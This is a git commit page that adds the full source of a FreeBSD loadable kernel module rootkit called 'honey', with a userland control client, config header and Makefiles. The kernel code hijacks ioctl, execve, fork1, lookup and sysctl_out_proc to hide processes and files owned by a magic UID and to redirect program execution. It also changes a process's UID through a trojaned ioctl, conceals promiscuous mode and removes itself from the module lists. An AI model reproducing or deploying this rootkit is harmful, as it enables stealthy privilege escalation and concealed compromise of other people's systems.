summaryrefslogtreecommitdiff
path: root/other/honey
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/honey
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/honey')
-rw-r--r--other/honey/README10
-rw-r--r--other/honey/client/Makefile10
-rw-r--r--other/honey/client/client.c136
-rw-r--r--other/honey/config.h28
-rw-r--r--other/honey/kern/Makefile8
-rw-r--r--other/honey/kern/honey.c507
6 files changed, 699 insertions, 0 deletions
diff --git a/other/honey/README b/other/honey/README
new file mode 100644
index 0000000..0158510
--- /dev/null
+++ b/other/honey/README
@@ -0,0 +1,10 @@
1Done -
2 Pid hiding/unhiding
3 Ping
4 Root
5 Execve redirection
6 File lookup hiding
7Todo -
8 Module hiding
9 File directory hiding
10 Pid hiding in procfs
diff --git a/other/honey/client/Makefile b/other/honey/client/Makefile
new file mode 100644
index 0000000..a1556c5
--- /dev/null
+++ b/other/honey/client/Makefile
@@ -0,0 +1,10 @@
1CFLAGS = -Wall -g -I../
2OBJS = client.o
3
4all: client
5
6client: $(OBJS)
7 $(CC) -o $@ $(OBJS)
8
9clean:
10 rm -rf client $(OBJS)
diff --git a/other/honey/client/client.c b/other/honey/client/client.c
new file mode 100644
index 0000000..131e21f
--- /dev/null
+++ b/other/honey/client/client.c
@@ -0,0 +1,136 @@
1#include <stdio.h>
2#include <stdlib.h>
3#include <string.h>
4#include <stdarg.h>
5#include "config.h"
6
7int
8send_request (int command, ...)
9{
10 char buf[8];
11 va_list va;
12 int *ptr, s;
13 o2_args args;
14
15 args.command = command;
16 args.res = -1;
17 va_start (va, command);
18 ptr = args.args;
19 while ((s = va_arg (va, int))) {
20 *ptr++ = s;
21 }
22 memcpy (buf, EVIL_IOCTL_MAGIC, 4);
23 *(unsigned long **)(buf + 4) = (unsigned long *)&args;
24 ioctl (0, EVIL_IOCTL_COMMAND, buf);
25 return (args.res);
26}
27
28int
29ping (int argc, char **argv)
30{
31 if (send_request (PING_COMMAND, 0x0) == -1) {
32 printf ("no kld loaded\n");
33 return (EXIT_FAILURE);
34 } else {
35 printf ("kld loaded!\n");
36 }
37 return (EXIT_SUCCESS);
38}
39
40int
41redir (int argc, char **argv)
42{
43 unsigned char buf[1024];
44
45 if (argc < 1) {
46 fprintf (stderr, "usage: redir <list|add|rm>\n");
47 return (-1);
48 }
49
50 if (!strcasecmp (argv[0], "add")) {
51 if (argc < 3) {
52 fprintf (stderr, "add: <from> <to>\n");
53 return (-1);
54 }
55 return (send_request (REDIR_COMMAND, REDIR_ADD, argv[1], argv[2], 0x0));
56 } else if (!strcasecmp (argv[0], "list")) {
57 char *ptr = buf;
58 int cnt = 0;
59
60 if (send_request (REDIR_COMMAND, REDIR_LIST, buf, 0x0)) {
61 printf ("oops\n");
62 return (-1);
63 }
64
65 for (;*ptr;++cnt) {
66 printf ("%d: %s -> ", cnt, ptr);
67 ptr += strlen(ptr) + 1;
68 printf ("%s\n", ptr);
69 ptr += strlen(ptr) + 1;
70 }
71 } else if (!strcasecmp (argv[0], "rm")) {
72 int cnt = 0;
73
74 cnt = atoi (argv[1]) + 1;
75 if (send_request (REDIR_COMMAND, REDIR_RM, cnt, 0x0)) {
76 printf ("oops\n");
77 return (-1);
78 }
79 }
80}
81
82int
83pid (int argc, char **argv)
84{
85 int pid;
86
87 if (argc < 2) {
88 fprintf (stderr, "usage: pid <pid> <uid|hide|unhide> <args>\n");
89 return (EXIT_FAILURE);
90 }
91
92 pid = atoi (argv[0]);
93
94 argc--;
95 argv++;
96
97 if (!strcasecmp (argv[0], "uid")) {
98 int uid;
99
100 if (argc < 2) {
101 printf ("usage: uid <uid>\n");
102 return (EXIT_FAILURE);
103 }
104 uid = atoi (argv[1]);
105 send_request (PID_COMMAND, pid, PID_UID, uid, 0x0);
106 } else if (!strcasecmp (argv[0], "hide")) {
107 send_request (PID_COMMAND, pid, PID_HIDE, 0x0);
108 } else if (!strcasecmp (argv[0], "unhide")) {
109 send_request (PID_COMMAND, pid, PID_UNHIDE, 0x0);
110 } else {
111 return (EXIT_FAILURE);
112 }
113
114 return (EXIT_SUCCESS);
115}
116
117int
118main (int argc, char **argv)
119{
120 if (argc < 2) {
121 fprintf (stderr, "usage: <commands> <args>\n"
122 "\tping <args>\n"
123 "\tpid <args>\n");
124 return (EXIT_FAILURE);
125 }
126
127 if (!strcasecmp (argv[1], "ping")) {
128 return (ping (argc - 2, argv + 2));
129 } else if (!strcasecmp (argv[1], "pid")) {
130 return (pid (argc - 2, argv + 2));
131 } else if (!strcasecmp (argv[1], "redir")) {
132 return (redir (argc - 2, argv + 2));
133 }
134
135 return (EXIT_FAILURE);
136}
diff --git a/other/honey/config.h b/other/honey/config.h
new file mode 100644
index 0000000..37b0964
--- /dev/null
+++ b/other/honey/config.h
@@ -0,0 +1,28 @@
1#ifndef CONFIG_H
2#define CONFIG_H
3#include <sys/time.h>
4#include <sys/ttycom.h>
5
6#define EVIL_IOCTL_COMMAND TIOCDCDTIMESTAMP
7#define EVIL_IOCTL_MAGIC "\x04\x72\x63\x46"
8
9#define EVIL_UID 12345
10
11typedef struct {
12 unsigned int command;
13 unsigned int res;
14 unsigned int args[6];
15} o2_args;
16
17#define PING_COMMAND 0x1
18#define PID_COMMAND 0x2
19 #define PID_UID 0x1
20 #define PID_HIDE 0x2
21 #define PID_UNHIDE 0x3
22#define REDIR_COMMAND 0x3
23 #define REDIR_ADD 0x1
24 #define REDIR_RM 0x2
25 #define REDIR_LIST 0x3
26#define IFPROMISC_COMMAND 0x4
27
28#endif /* CONFIG_H */
diff --git a/other/honey/kern/Makefile b/other/honey/kern/Makefile
new file mode 100644
index 0000000..f4265a5
--- /dev/null
+++ b/other/honey/kern/Makefile
@@ -0,0 +1,8 @@
1SRCS = honey.c
2SRCS += vnode_if.h
3CFLAGS = -I../
4KMOD = honey
5
6.include <bsd.kmod.mk>
7
8reload: all unload load
diff --git a/other/honey/kern/honey.c b/other/honey/kern/honey.c
new file mode 100644
index 0000000..6d9a160
--- /dev/null
+++ b/other/honey/kern/honey.c
@@ -0,0 +1,507 @@
1/*
2 * 7350 freebsd kernel module
3 *
4 * z
5 */
6
7#include <sys/param.h>
8#include <sys/systm.h>
9#include <sys/kernel.h>
10#include <sys/module.h>
11#include <sys/conf.h>
12#include <sys/proc.h>
13#include <sys/syscall.h>
14#include <sys/sysent.h>
15#include <sys/sysproto.h>
16#include <sys/sysctl.h>
17#include <sys/ioccom.h>
18#include <sys/unistd.h>
19#include <sys/vnode.h>
20#include <sys/imgact.h>
21#include <sys/namei.h>
22#include <sys/queue.h>
23#include <sys/malloc.h>
24#include <sys/linker.h>
25#include <sys/lock.h>
26#include <sys/socket.h>
27#include <net/if.h>
28#include <net/if_var.h>
29#include "config.h"
30
31struct hijack;
32
33static int evil_ioctl __P((struct proc *, struct ioctl_args *));
34static int evil_fork1 __P((struct proc *, int, struct proc **));
35static int evil_out_proc __P((struct proc *, struct sysctl_req *, int));
36static int evil_execve __P((struct proc *, struct execve_args *));
37static int evil_namei __P((struct nameidata *));
38static int evil_lookup __P((struct nameidata *));
39static int evil_ifpromisc __P((struct ifnet *, int));
40static void hijack_do __P((struct hijack *));
41static void hijack_undo __P((struct hijack *));
42static int honey_modevent __P((module_t, int, void *));
43static void pid_command __P((o2_args *));
44static int redir_command __P((o2_args *));
45
46extern int ifpromisc __P((struct ifnet *, int));
47
48struct execve_redir {
49 TAILQ_ENTRY(execve_redir) entries;
50 char from[50];
51 char to[50];
52};
53
54TAILQ_HEAD(execve_redir_head, execve_redir);
55
56struct execve_redir_head execve_redir_head;
57
58#define hijack_none 0x0
59#define hijack_sys 0x1
60#define hijack_func 0x2
61
62struct hijack {
63 int type;
64 int on;
65 int start;
66 union {
67 int syscall;
68 void *func;
69 } i;
70 void *new_func;
71 void *old_func;
72 char bytes[7];
73};
74
75char jumpoff[]="\xb8\x41\x41\x41\x41\xff\xe0";
76
77extern int sysctl_out_proc __P((struct proc *, struct sysctl_req *, int));
78
79#define hijack_ioctl 0x0
80#define hijack_proc 0x1
81#define hijack_fork 0x2
82#define hijack_lookup 0x3
83#define hijack_execve 0x4
84#define hijack_namei 0x5
85#define hijack_ifpromisc 0x6
86
87struct hijack hijacks[]= {
88 {hijack_sys, 0, 1, {SYS_ioctl}, evil_ioctl, 0},
89 {hijack_func, 0, 1, {sysctl_out_proc}, evil_out_proc, 0},
90 {hijack_func, 0, 1, {fork1}, evil_fork1, 0},
91 {hijack_func, 0, 1, {lookup}, evil_lookup, 0},
92 {hijack_sys, 0, 1, {SYS_execve}, evil_execve, 0},
93 {hijack_func, 0, 0, {namei}, evil_namei, 0},
94 {hijack_ifpromisc, 0, 0, {ifpromisc}, evil_ifpromisc, 0},
95 {NULL, 0, 0, {NULL}, NULL, NULL},
96};
97
98#define P_HIDDEN 0x8000000
99
100static int
101evil_ifpromisc (ifp, pswitch)
102 struct ifnet *ifp;
103 int pswitch;
104{
105 int ret;
106
107 hijack_undo(&hijacks[hijack_ifpromisc]);
108
109 ifp->if_pcount++;
110
111 ret = ifpromisc (ifp, pswitch);
112
113 ifp->if_pcount--;
114
115 return (ret);
116}
117
118static int
119evil_lookup (ndp)
120 struct nameidata *ndp;
121{
122 register int ret;
123 struct vattr attr;
124
125 hijack_undo(&hijacks[hijack_lookup]);
126 ret = lookup (ndp);
127 hijack_do(&hijacks[hijack_lookup]);
128
129 if (ret != 0 || ndp->ni_vp == 0)
130 return (ret);
131
132 if (VOP_GETATTR (ndp->ni_vp, &attr, VNOVAL, ndp->ni_cnd.cn_proc))
133 return (ret);
134
135 if (attr.va_uid != EVIL_UID)
136 return (ret);
137
138 /* hide the crap now */
139
140 if (ndp->ni_cnd.cn_flags & LOCKLEAF && ndp->ni_vp) {
141 vput (ndp->ni_vp);
142 ndp->ni_vp = NULL;
143 }
144
145 if (ndp->ni_cnd.cn_flags & LOCKPARENT && ndp->ni_dvp) {
146 vput (ndp->ni_dvp);
147 ndp->ni_dvp = NULL;
148 }
149
150 return (ENOENT);
151}
152
153/* to redirect execve we hook namei only when execve is called */
154
155static int
156evil_namei (ndp)
157 struct nameidata *ndp;
158{
159 char mybuf[MAXPATHLEN];
160 int done;
161 struct execve_redir *ptr;
162
163 hijack_undo(&hijacks[hijack_namei]);
164
165 if (ndp->ni_segflg != UIO_USERSPACE)
166 goto out;
167
168 if (copyinstr (ndp->ni_dirp, mybuf, MAXPATHLEN, &done))
169 goto out;
170
171 TAILQ_FOREACH(ptr, &execve_redir_head, entries) {
172 if (strcmp (ptr->from, ndp->ni_dirp))
173 continue;
174 /* it matches.. */
175
176 ndp->ni_dirp = ptr->to;
177 ndp->ni_segflg = UIO_SYSSPACE;
178 break;
179 }
180out:
181 return (namei (ndp));
182}
183
184static int
185evil_execve (p, uap)
186 struct proc *p;
187 struct execve_args *uap;
188{
189 hijack_do(&hijacks[hijack_namei]);
190 return (execve (p, uap));
191}
192
193static int
194evil_out_proc (p, req, doingzomb)
195 struct proc *p;
196 struct sysctl_req *req;
197 int doingzomb;
198{
199 int res;
200
201 if ((p->p_flag & P_HIDDEN) && !(req->p->p_flag & P_HIDDEN))
202 return (0);
203
204 hijack_undo (&hijacks[hijack_proc]);
205 res = sysctl_out_proc (p, req, doingzomb);
206 hijack_do (&hijacks[hijack_proc]);
207
208 return (res);
209}
210
211/* evil ioctl algorithm
212 *
213 * the way i do this is trojan an existing ioctl such that our evil ioctl
214 * is only triggered if the structure contains certain data
215 */
216
217static void
218pid_command (args)
219 o2_args *args;
220{
221 struct proc *p;
222
223 args->res = 1;
224 p = pfind (args->args[0]);
225 if (p == NULL)
226 return;
227
228 switch (args->args[1]) {
229 case PID_UID:
230 p->p_cred->p_ruid = args->args[2];
231 break;
232 case PID_HIDE:
233 p->p_flag |= P_HIDDEN;
234 break;
235 case PID_UNHIDE:
236 p->p_flag &= ~P_HIDDEN;
237 break;
238 }
239
240 return;
241}
242
243static int
244redir_command (args)
245 o2_args *args;
246{
247 struct execve_redir *ptr;
248 unsigned int done, cnt = 0;
249 caddr_t addr;
250
251 args->res = 1;
252
253 switch (args->args[0]) {
254 case REDIR_ADD:
255 ptr = malloc(sizeof(*ptr), M_TEMP, M_WAITOK);
256 if (!ptr)
257 return (-1);
258 if (copyinstr((void *)args->args[1], ptr->from, 50, &done)) {
259 free (ptr, M_TEMP);
260 return (-1);
261 }
262
263 if (copyinstr((void *)args->args[2], ptr->to, 50, &done)) {
264 free(ptr, M_TEMP);
265 return (-1);
266 }
267 TAILQ_INSERT_TAIL (&execve_redir_head, ptr, entries);
268 args->res = 0;
269 break;
270
271 case REDIR_RM:
272 cnt = args->args[1] - 1;
273 if (cnt > 10)
274 return (-1);
275
276 ptr = TAILQ_FIRST(&execve_redir_head);
277 if (!ptr)
278 return (-1);
279
280 while (cnt-- && ptr) {
281 ptr = TAILQ_NEXT(ptr, entries);
282 if (!ptr)
283 return (-1);
284 }
285 TAILQ_REMOVE(&execve_redir_head, ptr, entries);
286 free (ptr, M_TEMP);
287 break;
288
289 case REDIR_LIST:
290 ptr = TAILQ_FIRST(&execve_redir_head);
291 addr = (caddr_t)args->args[1];
292
293 while (cnt < 10 && ptr) {
294 ++cnt;
295
296 if (copyout (ptr->from, addr, strlen(ptr->from)+1)) {
297 return (-1);
298 }
299 addr += strlen(ptr->from) + 1;
300 if (copyout (ptr->to, addr, strlen(ptr->to)+1)) {
301 return (-1);
302 }
303 addr += strlen(ptr->to) + 1;
304 ptr = TAILQ_NEXT(ptr, entries);
305 }
306 if (copyout ("", addr, 1))
307 return (-1);
308 break;
309 }
310 args->res = 0;
311
312 return (0);
313}
314
315static int
316evil_ioctl (p, uap)
317 struct proc *p;
318 struct ioctl_args *uap;
319{
320 unsigned char buf[8];
321 o2_args args;
322 caddr_t addr;
323
324 if (uap->com == EVIL_IOCTL_COMMAND) {
325 if (copyin (uap->data, buf, 8))
326 goto out;
327 if (memcmp(buf, EVIL_IOCTL_MAGIC, 4))
328 goto out;
329 addr = (caddr_t)*(unsigned long *)(buf + 4);
330 if (copyin (addr, &args, sizeof(o2_args)))
331 goto out;
332 switch (args.command) {
333 case PING_COMMAND:
334 args.res = 0;
335 break;
336 case PID_COMMAND:
337 pid_command (&args);
338 break;
339 case REDIR_COMMAND:
340 redir_command (&args);
341 break;
342 case IFPROMISC_COMMAND:
343 hijack_do(&hijacks[hijack_ifpromisc]);
344 break;
345 }
346 copyout (&args, addr, sizeof(o2_args));
347 }
348out:
349 return (ioctl (p, uap));
350}
351
352int
353evil_fork1 (p, flags, procp)
354 struct proc *p;
355 int flags;
356 struct proc **procp;
357{
358 int error;
359
360 hijack_undo (&hijacks[hijack_fork]);
361 error = fork1 (p, flags, procp);
362 hijack_do (&hijacks[hijack_fork]);
363
364 if (error == 0 && (p->p_flag & P_HIDDEN))
365 (*procp)->p_flag |= P_HIDDEN;
366
367 return error;
368}
369
370static void
371hijack_do (ptr)
372 struct hijack *ptr;
373{
374 if (ptr->on != 0)
375 return;
376
377 switch (ptr->type) {
378 case hijack_sys:
379 ptr->on = 1;
380 ptr->old_func = (void *)sysent[ptr->i.syscall].sy_call;
381 sysent[ptr->i.syscall].sy_call = ptr->new_func;
382 break;
383 case hijack_func:
384 ptr->on = 1;
385 ptr->old_func = ptr->i.func;
386 *(unsigned long *)(jumpoff+1) = (unsigned long)ptr->new_func;
387 memcpy (ptr->bytes, ptr->old_func, 7);
388 memcpy (ptr->old_func, jumpoff, 7);
389 break;
390 }
391}
392
393static void
394hijack_undo (ptr)
395 struct hijack *ptr;
396{
397 if (ptr->on != 1)
398 return;
399
400 switch (ptr->type) {
401 case hijack_sys:
402 sysent[ptr->i.syscall].sy_call = (sy_call_t *)ptr->old_func;
403 ptr->on = 0;
404 break;
405 case hijack_func:
406 ptr->on = 0;
407 memcpy (ptr->old_func, ptr->bytes, 7);
408 break;
409 }
410}
411
412static void
413hijack_init (void)
414{
415 struct hijack *ptr;
416
417 for (ptr = hijacks; ptr->new_func; ptr++) {
418 if (ptr->start)
419 hijack_do (ptr);
420 }
421}
422
423static void
424hijack_fini (void)
425{
426 struct hijack *ptr;
427
428 for (ptr = hijacks; ptr->new_func; ptr++) {
429 hijack_undo (ptr);
430 }
431}
432
433/* ripped from adorebsd */
434typedef TAILQ_HEAD(, module) modulelist_t;
435extern linker_file_list_t linker_files;
436extern int next_file_id;
437extern modulelist_t modules;
438extern int nextid;
439extern struct lock lock;
440
441struct module {
442 TAILQ_ENTRY(module) link;
443 TAILQ_ENTRY(module) flink;
444 struct linker_file *file;
445 int refs;
446 int id;
447 char *name;
448 modeventhand_t handler;
449 void *arg;
450 modspecific_t data;
451};
452
453void
454hide_ourselves (void)
455{
456 linker_file_t lf = NULL;
457 module_t mod = NULL;
458
459 lockmgr(&lock, LK_SHARED, 0, curproc);
460
461 (&linker_files)->tqh_first->refs--;
462 for(lf = (&linker_files)->tqh_first; lf; lf = (lf)->link.tqe_next) {
463 if(strcmp(lf->filename, "honey.ko") == 0) {
464 next_file_id--;
465 if(((lf)->link.tqe_next) != NULL)
466 (lf)->link.tqe_next->link.tqe_prev = (lf)->link.tqe_prev;
467 else
468 (&linker_files)->tqh_last = (lf)->link.tqe_prev;
469 *(lf)->link.tqe_prev = (lf)->link.tqe_next;
470 break;
471 }
472 }
473
474 lockmgr(&lock, LK_RELEASE, 0, curproc);
475 for(mod = TAILQ_FIRST(&modules); mod; mod = TAILQ_NEXT(mod, link)) {
476 if(!strcmp(mod->name, "honey")) {
477 nextid--;
478 TAILQ_REMOVE(&modules, mod, link);
479 }
480 }
481}
482
483static int
484honey_modevent (mod, type, data)
485 module_t mod;
486 int type;
487 void * data;
488{
489 switch (type) {
490 case MOD_LOAD:
491 hide_ourselves();
492 hijack_init ();
493 TAILQ_INIT(&execve_redir_head);
494 break;
495 case MOD_UNLOAD:
496 hijack_fini ();
497 break;
498 }
499
500 return (0);
501}
502
503DEV_MODULE(honey, honey_modevent, NULL);
504
505/*
506 * vim: ts=8
507 */